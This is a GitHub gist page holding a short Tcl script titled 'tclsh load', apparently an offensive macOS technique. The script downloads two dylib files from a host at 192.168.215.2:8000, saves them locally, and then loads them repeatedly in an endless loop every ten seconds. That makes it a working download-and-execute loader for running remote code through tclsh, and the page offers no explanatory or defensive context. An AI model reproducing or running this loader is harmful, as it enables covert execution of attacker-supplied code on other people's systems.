Skip to content

Instantly share code, notes, and snippets.

@D00MFist
Last active March 1, 2022 06:58
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 1 You must be signed in to fork a gist
  • Save D00MFist/c9dfcb5a2b04cc20945f5f1e08ccdc88 to your computer and use it in GitHub Desktop.
Save D00MFist/c9dfcb5a2b04cc20945f5f1e08ccdc88 to your computer and use it in GitHub Desktop.
tclsh load
package require http
package require tls
http::register https 443 tls::socket
set url http://192.168.215.2:8000/dlopen.dylib
set token [http::geturl $url -timeout 30000 -binary 1]
set status [http::status $token]
set answer [http::data $token]
http::cleanup $token
http::unregister https
set outputFile [open dlopen.dylib wb]
puts $outputFile $answer
close $outputFile
http::register https 443 tls::socket
set url http://192.168.215.2:8000/helper.dylib
set token [http::geturl $url -timeout 30000 -binary 0]
set status [http::status $token]
set answer [http::data $token]
http::cleanup $token
http::unregister https
puts $status
set outputFile [open helper.dylib wb]
puts $outputFile $answer
close $outputFile
set here [pwd]
set dl ${here}/dlopen.dylib
set yourlib ${here}/helper.dylib
while True {
load $dl
dlopen $yourlib
after 10000
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment